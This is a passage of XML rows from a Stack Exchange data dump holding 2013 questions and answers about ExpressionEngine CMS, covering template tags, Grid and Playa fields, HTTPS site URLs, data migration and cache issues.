  <row Id="17126" PostTypeId="2" ParentId="17117" CreationDate="2013-11-25T22:31:15.000" Score="3" Body="&lt;p&gt;Sometimes this is caused by a validation on one of the other tabs on your publish page. You might not see them if you're on a different tab.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-25T22:31:15.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17127" PostTypeId="1" AcceptedAnswerId="17215" CreationDate="2013-11-25T22:31:23.437" Score="1" ViewCount="128" Body="&lt;p&gt;My original EE setup had it where if you mistype a url (eg. www.site.com/carrers) it is set to load in an empty template. Just recently, if you mistype URLs, you get a blank page of nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas as what's going on and a remedy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.6.1&lt;/p&gt;&#xA;" OwnerUserId="2270" LastEditorUserId="197" LastEditDate="2013-11-26T02:16:10.000" LastActivityDate="2013-12-27T21:40:22.987" Title="Mistyped URLs sending me to blank pages" Tags="|404|blank-screen|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17128" PostTypeId="2" ParentId="17118" CreationDate="2013-11-25T22:35:30.560" Score="3" Body="&lt;p&gt;I would highly recommend using Low Search to provide the filtering you're talking about. &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#categories&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-search/docs/filters#categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default it would show all entries, and allow you to use your categories as filters to refine your results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can do some pretty remarkable stuff, highly recommended!&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-11-25T22:35:30.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17129" PostTypeId="1" AcceptedAnswerId="17130" CreationDate="2013-11-25T22:52:35.787" Score="1" ViewCount="110" Body="&lt;p&gt;EE 2.7.2&#xA;Playa 4.4.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two playa fields in my Recipes channel field group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is called similar_recipes, which relates to other entries within the recipes (which happens to be the channel this form is posting to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other is related_products.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{similar_recipes}&#xA;    {if count &amp;gt; 0}&amp;lt;h3&amp;gt;Similar Recipes&amp;lt;/h3&amp;gt;{/if}&#xA;    &amp;lt;p&amp;gt;&#xA;        {recipe_image}&#xA;            &amp;lt;a href=&quot;/recipes/view/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;&amp;lt;img src=&quot;{image:url:small}&quot; alt=&quot;{title}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        {/recipe_image}&#xA;&#xA;        &amp;lt;a href=&quot;/recipes/view/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;{/similar_recipes}&#xA;&#xA;&#xA;{related_products}&#xA;    {if count &amp;gt; 0}&amp;lt;h3&amp;gt;Related Products&amp;lt;/h3&amp;gt;{/if}&#xA;    &amp;lt;p&amp;gt;&#xA;        {product_image}&#xA;            &amp;lt;a href=&quot;/products/view/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;&amp;lt;img src=&quot;{image:url:small}&quot; alt=&quot;{title}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;        {/product_image}&#xA;&#xA;        &amp;lt;a href=&quot;/products/view/{url_title}&quot; title=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/related_products}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FfCvS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the dynamic parameter, thinking it may be an issue with the fact I have a playa field that relates to its own entries, but I don't think thats the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the attached image, it acts like those fields do not exist in the channel field group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nMUPe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-11-26T16:26:38.630" Title="playa template tags being ignored" Tags="|playa|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17130" PostTypeId="2" ParentId="17129" CreationDate="2013-11-25T23:04:26.660" Score="3" Body="&lt;p&gt;Looks like a variable name conflict. You can use &quot;var_prefix&quot; when this happens. Try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children channel=&quot;recipe&quot; entry_id=&quot;{entry_id}&quot; field=&quot;similar_recipes&quot; var_prefix=&quot;related&quot; }&#xA;    {related:title}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/children.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/playa/templating/module/children.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-26T16:26:38.630" LastActivityDate="2013-11-26T16:26:38.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17131" PostTypeId="2" ParentId="17121" CreationDate="2013-11-25T23:10:10.787" Score="1" Body="&lt;p&gt;As odd as this sounds, try the upgrade in another browser. It's possible something about that browser version is getting stuck on the ajax part of the upgrade.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-25T23:10:10.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17132" PostTypeId="2" ParentId="17076" CreationDate="2013-11-25T23:13:34.960" Score="6" Body="&lt;p&gt;In your EE config.php / site configuration, is your site URL set with http:// or https:// ? If it's not the latter, try that to see if it solves the issue. I think EE matches the site_url to the exact URL (and protocol) that you set in this configuration variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trickier thing is when you have a site that's partially under HTTP and partially HTTPS. In that case, you definitely need to use add-ons and/or link site URLs coded another way to properly traverse from one to the other. (I set global variables in the config for &lt;code&gt;{global:site_url}&lt;/code&gt; and &lt;code&gt;{global:site_ssl_url}&lt;/code&gt;, and use those in my templates.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, for your CSS URL, you can also reference it like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/assets/css.layout&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;//yoursite.com/assets/css.layout&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that web browsers will resolve the // in the URL to either http or https, to match the protocol of the current page.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if you have the option, move your CSS to a static file outside of EE--this will improve your site performance noticeably.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-11-25T23:13:34.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17133" PostTypeId="2" ParentId="17100" CreationDate="2013-11-25T23:24:33.800" Score="3" Body="&lt;p&gt;It's tricky. I'm in a similar situation, though I'm migrating from a non-EE site. So, I've had to write a number of SQL and PHP scripts that &quot;know&quot; what data can change and what can be new, and can grab just the change and insert or update into the EE database in the right place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, take a look at this technique for capturing database queries on one EE site, and applying them to another:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://krasimirtsonev.com/blog/article/Deploying-ExpressionEngine-based-site&quot; rel=&quot;nofollow&quot;&gt;http://krasimirtsonev.com/blog/article/Deploying-ExpressionEngine-based-site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's definitely worth considering in your case. I haven't used this in a production situation, so that'd be something you'd have to test to feel confident is manageable.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-11-25T23:24:33.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17134" PostTypeId="2" ParentId="17100" CreationDate="2013-11-25T23:36:34.810" Score="4" Body="&lt;p&gt;There are two issues here to deal with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Exporting Data from the old site&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be done in a variety of ways. And it's arguably the easier task. I generally write custom PHP scripts, or sometimes a CodeIgniter app to connect to a copy of the original database and output XML files from it. It's just a matter of collecting all the needed fields.  Since you're using EE for the original site, you could use an add-on like Export It, or simply use templates to help output the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Importing into the new site&lt;/strong&gt;&#xA;I almost always use Datagrab for this. It takes care of so much of the work for you. It's also easy to extend if it doesn't already support your fieldtypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you get both of those parts working, you can keep your data up to date on the new site during development. When it's ready for launch, you can just do one last data pull to grab any last minute content updates and pull them over into the new site.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-25T23:36:34.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17135" PostTypeId="2" ParentId="15221" CreationDate="2013-11-26T00:54:51.843" Score="0" Body="&lt;p&gt;@Robson Sobral&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just tested this - if the list is not set, list_count returns &quot;&quot; so this pseudo code is works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {case value=&quot;&quot;}&#xA;               &amp;lt;h4&amp;gt;No favourites yet!&amp;lt;/h4&amp;gt;&#xA;            {/case}&#xA;            {case default=&quot;yes&quot;}&#xA;            {/case}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2013-11-26T00:54:51.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17136" PostTypeId="1" CreationDate="2013-11-26T02:24:08.597" Score="1" ViewCount="57" Body="&lt;p&gt;Is it possible to do conditionals for embeds? For example,lets say I have this very simple template, &lt;code&gt;test/foo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if foo}&#xA;   yes&#xA;{if:else}&#xA;   no&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other templates, I want to use this embed in a conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{if '{embed=&quot;test/foo&quot;}' == 'yes'}&#xA;   Output is yes&#xA;{if:else}&#xA;   Output is no&#xA;{/if}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, when I tried this approach, what I got was always a &lt;code&gt;no&lt;/code&gt;, even if I set &lt;code&gt;test/foo&lt;/code&gt; template to yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? Or is this just not possible?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-11-26T03:51:09.407" Title="Possible to do conditionals on embeds?" Tags="|conditionals|embeds|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17137" PostTypeId="2" ParentId="17136" CreationDate="2013-11-26T02:34:37.310" Score="4" Body="&lt;p&gt;This way is not possible because of &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine’s Parse Order&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Parse advanced conditionals&lt;/li&gt;&#xA;  &lt;li&gt;Process embedded templates&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With your code you don't have &quot;yes&quot; in conditionals when EE parses it, you have &quot;{embed=&quot;test/foo&quot;}&quot;&lt;/p&gt;&#xA;" OwnerUserId="932" LastEditorUserId="28" LastEditDate="2013-11-26T03:51:09.407" LastActivityDate="2013-11-26T03:51:09.407" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17138" PostTypeId="2" ParentId="17136" CreationDate="2013-11-26T03:00:04.980" Score="0" Body="&lt;p&gt;You should be able to do what you're looking for with &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;, using &lt;a href=&quot;https://github.com/croxton/Stash/wiki/%7Bstash%3aembed%7D&quot; rel=&quot;nofollow&quot;&gt;stash:embed&lt;/a&gt;. With the Stash embed you should be able to manipulate the process and parse stage so that it will run before the advanced conditional (see Max's answer).&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-11-26T03:00:04.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17140" PostTypeId="1" CreationDate="2013-11-26T04:33:44.863" Score="1" ViewCount="59" Body="&lt;p&gt;I'm trying to put this &lt;a href=&quot;http://whitewashed.richiesiegel.com&quot; rel=&quot;nofollow&quot;&gt;slider&lt;/a&gt; (scroll halfway down the page) into my site, which is built on expression engine using the wigwam editor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have the javascript saved here &lt;a href=&quot;http://whitewashed.richiesiegel.com/slider.js&quot; rel=&quot;nofollow&quot;&gt;http://whitewashed.richiesiegel.com/slider.js&lt;/a&gt; but when i link to it under &quot;source&quot; in the editor the javascript doesn't load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is how i am linking it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;{path=&quot;http://whitewashed.richiesiegel.com/slider.js&quot;}&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is the Javascript (which works fine on non-ee sites)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){&#xA;    $(&quot;header.image&quot;).hide();&#xA;    $(&quot;header.image&quot;).find(&quot;img&quot;).load(function(){&#xA;        $(this).closest(&quot;header.image&quot;).show(5000);&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any ideas? &lt;/p&gt;&#xA;" OwnerUserId="2409" LastActivityDate="2013-11-26T05:28:20.743" Title="is there a way to put javascript and css in the wigwam editor in expression engine?" Tags="|wygwam|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17141" PostTypeId="2" ParentId="17140" CreationDate="2013-11-26T05:28:20.743" Score="2" Body="&lt;p&gt;is not needs in path here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;http://whitewashed.richiesiegel.com/slider.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;p.s. EE is not parsed tags in entries w/o special add-ons&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2013-11-26T05:28:20.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17142" PostTypeId="1" AcceptedAnswerId="17143" CreationDate="2013-11-26T05:57:03.880" Score="1" ViewCount="73" Body="&lt;p&gt;Is it possible to be able to delete a member without deleting his/her comments for posterity purposes such as retaining it for forums and the like?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-11-26T17:00:40.687" Title="Delete Member without deleting comments" Tags="|members|member-management|delete|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17143" PostTypeId="2" ParentId="17142" CreationDate="2013-11-26T06:19:52.123" Score="7" Body="&lt;p&gt;If you're comfortable with SQL, you can update the database to &lt;em&gt;change&lt;/em&gt; the member_id on the comments to one that's not being deleted. So, you could create a 'past member' member, and then update the comments to use the member_id of the 'past member'. This will disconnect those comments from the members you want to delete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save a backup of the database, and then delete the member and their comments. If you ever want to see the old comments, run a copy of the site against the older database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't delete the members at all, but move them into a member group that has no privileges.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-11-26T06:19:52.123" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17144" PostTypeId="1" AcceptedAnswerId="17145" CreationDate="2013-11-26T10:04:53.887" Score="1" ViewCount="996" Body="&lt;p&gt;I've got a grid field called 'images', it has 2 columns in it, a 'files' field, which I've called 'file' and a 'text input' field, which I've called 'caption'. I've got an entry with several images in the 'files' field, and some text in the 'caption' field, but I can't work out how to display these on the front-end, this is what I've got, which doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{images}&#xA;    &amp;lt;img src=&quot;{file_url}&quot; alt=&quot;{caption}&quot; title=&quot;{caption}&quot; /&amp;gt;&#xA;{/images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried {file} and {url} in the src but nothing seems to work. If I use the {exp:file:entries} tag that just outputs all my images, and doesn't output the caption anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be very much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1566" LastActivityDate="2013-11-26T10:38:33.753" Title="Display entries image files in grid field" Tags="|image|grid|files|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17145" PostTypeId="2" ParentId="17144" CreationDate="2013-11-26T10:17:54.790" Score="3" Body="&lt;p&gt;Your syntax is not following the user guide's instructions. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/grid.html#template-tags&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/grid.html#template-tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to add the prefix for each column.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{images}&#xA;    &amp;lt;img src=&quot;{images:file_url}&quot; alt=&quot;{images:caption}&quot; title=&quot;{images:caption}&quot; /&amp;gt;&#xA;{/images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-11-26T10:38:33.753" LastActivityDate="2013-11-26T10:38:33.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17146" PostTypeId="2" ParentId="17119" CreationDate="2013-11-26T10:22:00.110" Score="1" Body="&lt;p&gt;From &lt;a href=&quot;http://www.solspace.com/forums/viewthread/16564/#61594&quot; rel=&quot;nofollow&quot;&gt;this Solspace thread&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do you have a www redirect in your .htaccess? If so, make sure your&#xA;  site configuration in ExpressionEngine has www in front of all of the&#xA;  links, otherwise any EE created links, like Freeform’s actions, will&#xA;  not have www and thus Apache will redirect, losing the post data.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-26T10:22:00.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17147" PostTypeId="1" AcceptedAnswerId="17486" CreationDate="2013-11-26T11:48:16.243" Score="3" ViewCount="3242" Body="&lt;p&gt;After checking the WorldPay settings numerous times I still can't get it to redirect back to the site after a successful test payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the settings are ok in WP as I have checked against another setup for a site that is live and working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once payment has been made WP gives me a blank page with browser page title of 'Domain Registered', so it looks as though it's just not re-directing at that point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone experienced anything similar with success in fixing it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version is 2.7.2 and Store 2.0.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help appreciated, thanks.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastEditorUserId="1339" LastEditDate="2013-11-26T14:32:07.390" LastActivityDate="2018-03-31T21:27:12.837" Title="Expresso Store 2: WorldPay won't redirect after successful test payment" Tags="|expresso-store|payment-gateway|worldpay|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17149" PostTypeId="2" ParentId="17104" CreationDate="2013-11-26T13:33:00.177" Score="1" Body="&lt;p&gt;Does this happen every time?  You may of waited too long before submitting it and the xid expired. Try turning off &quot;Process form data in secure mode&quot; under Security and Preferences and see if the issue persists. &#xA;What version of FF and EE are you running?&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-11-26T13:33:00.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17150" PostTypeId="1" AcceptedAnswerId="17155" CreationDate="2013-11-26T15:31:18.640" Score="1" ViewCount="41" Body="&lt;p&gt;I'm still using EE version 1.6.9 for one of my sites. On this page (&lt;a href=&quot;http://www.logogala.com/designer/details/phil-heroux/&quot; rel=&quot;nofollow&quot;&gt;http://www.logogala.com/designer/details/phil-heroux/&lt;/a&gt;) you can see a list of entries which are associated with this &quot;designer&quot; using the reverse_related_entries tag. There are three entries (global change leaders, red/blue barber shop, and blue atala) that still appear on this page yet when clicked, they take you to a 404 page. I've looked in my EE admin area and tried to find these entries and they are gone. No trace of these entries yet they still appear on this page using that reverse_related_entries tag. So... I'm at a loss; no idea what's going on or why these entries would have just vanished from the database yet still appear to show on this &quot;designer profile page.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2410" LastActivityDate="2013-11-26T16:32:59.820" Title="Entries appear to have vanished yet still show on the front end (sorta)?" Tags="|ee1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17151" PostTypeId="2" ParentId="17123" CreationDate="2013-11-26T15:47:14.413" Score="1" Body="&lt;p&gt;I have the same requirements in my location for a set of sites. Ours was for both redundancy and failover. I ended up with a customized version of Erik's master config for FocusLab here: &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;https://github.com/focuslabllc/ee-master-config&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I established the settings that worked for my needs, I built out a bootstrap install to make updates much easier too. &lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-11-26T15:47:14.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17152" PostTypeId="1" AcceptedAnswerId="17164" CreationDate="2013-11-26T16:05:29.650" Score="1" ViewCount="129" Body="&lt;p&gt;I am having an issue with the cartthrob_on_authorize developer hook. I use the hook to carry out some additional processing to the customer order. One such process is to set an order status based on what was ordered. In order to do this, I use the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;order_model-&amp;gt;update_order($order_id, $new_status);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;$new_status = array('status =&amp;gt; &quot;Processing&quot;);&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where it gets a little bit confusing. We use Sagepay Server as our offsite payment processor. The code above works perfectly if the customer successfully checks out first time. However, if their first attempt fails (ie they cancel the initial transaction or enter the wrong card details) and then successfully complete the transaction shortly afterwards, the order status defaults to &lt;code&gt;Complete&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody experienced this issue before?&lt;/p&gt;&#xA;" OwnerUserId="314" LastEditorUserId="28" LastEditDate="2013-11-26T16:26:05.750" LastActivityDate="2013-11-26T17:18:00.717" Title="cartthrob_on_authorize" Tags="|cartthrob|sagepay|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17153" PostTypeId="2" ParentId="17056" CreationDate="2013-11-26T16:10:15.207" Score="1" Body="&lt;p&gt;Who are you hosting with? Do you not have the option to create subdomains in the control panel? Once you create the appropriate subdomains and establish those folders through the CP, the rest should take care of itself like on your other/existing server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've run into some issues in the past when firewalls were involved with MSM setups and cookie/session issues due to CORS, but you should be able to just set relative paths in your index and admin files to point and go unless I am missing what is happening here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;:&#xA;I have the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;system folder&#xA;&lt;ul&gt;&#xA;&lt;li&gt;behind root&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;site.com&#xA;&lt;ul&gt;&#xA;&lt;li&gt;public html folder&#xA;&lt;ul&gt;&#xA;&lt;li&gt;admin.php&#xA;&lt;ul&gt;&#xA;&lt;li&gt;points to system folder&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;index.php&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;sub1.site.com&#xA;&lt;ul&gt;&#xA;&lt;li&gt;public html folder (where my host placed it)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;admin.php&#xA;&lt;ul&gt;&#xA;&lt;li&gt;points to system folder&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;index.php&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;sub2.site.com&#xA;&lt;ul&gt;&#xA;&lt;li&gt;public html folder (where my host placed it)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;admin.php&#xA;&lt;ul&gt;&#xA;&lt;li&gt;points to system folder&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;index.php&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;sub3.site.com&#xA;&lt;ul&gt;&#xA;&lt;li&gt;public html folder (where my host placed it)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;admin.php&#xA;&lt;ul&gt;&#xA;&lt;li&gt;points to system folder&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;index.php&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2013-11-26T16:17:06.827" LastActivityDate="2013-11-26T16:17:06.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17154" PostTypeId="2" ParentId="16715" CreationDate="2013-11-26T16:21:03.810" Score="1" Body="&lt;p&gt;You might look to see how your copy is being formatted on output. Sometimes I have had issues with this if I Restrict allowed HTML in the Wygwam field and have that automatic linking enabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any advanced settings enabled or custom CSS? This can effect it too.&lt;/p&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-11-26T16:21:03.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17155" PostTypeId="2" ParentId="17150" CreationDate="2013-11-26T16:32:59.820" Score="1" Body="&lt;p&gt;Sounds like the entries were deleted but still exist in the Relationship Cache... You can &lt;a href=&quot;http://ee1docs.com/cp/admin/utilities/clear_cached_data_files.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;clear the relationship cache&lt;/strong&gt;&lt;/a&gt; at this location in the control panel&quot;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Control Panel Location:  Admin &gt; Utilities &gt; Clear Cached Data Files&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-26T16:32:59.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17156" PostTypeId="2" ParentId="10329" CreationDate="2013-11-26T16:41:26.233" Score="1" Body="&lt;p&gt;I ran into the same issue. Even though I was using the same primary domain, the subdomains were causing cross domain issues with what seemed to be the CK Editor functionality due to permissions. I found out later that the issue was due to, in my case, NSM Live Look using iframes. Since the iframe was still technically being viewed even thought the tab was not active, the functionality from wygwam appeared to break. I wasn't able to properly use embed images and/or media. Once I disabled NSM Live Look, everything was fine with wygwam. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My solution called for a use of both though. I ended up having to restructure my site a bit in order to circumvent the issues of cross domain calling and script resources. I did this by creating rules on the firewall that block outside traffic, per corporate security rules, to any admin file. This way, the admin files were not accessible outside the network. The trick was keeping the admin file on the same domain as the site so that the CP URL and site URL are the 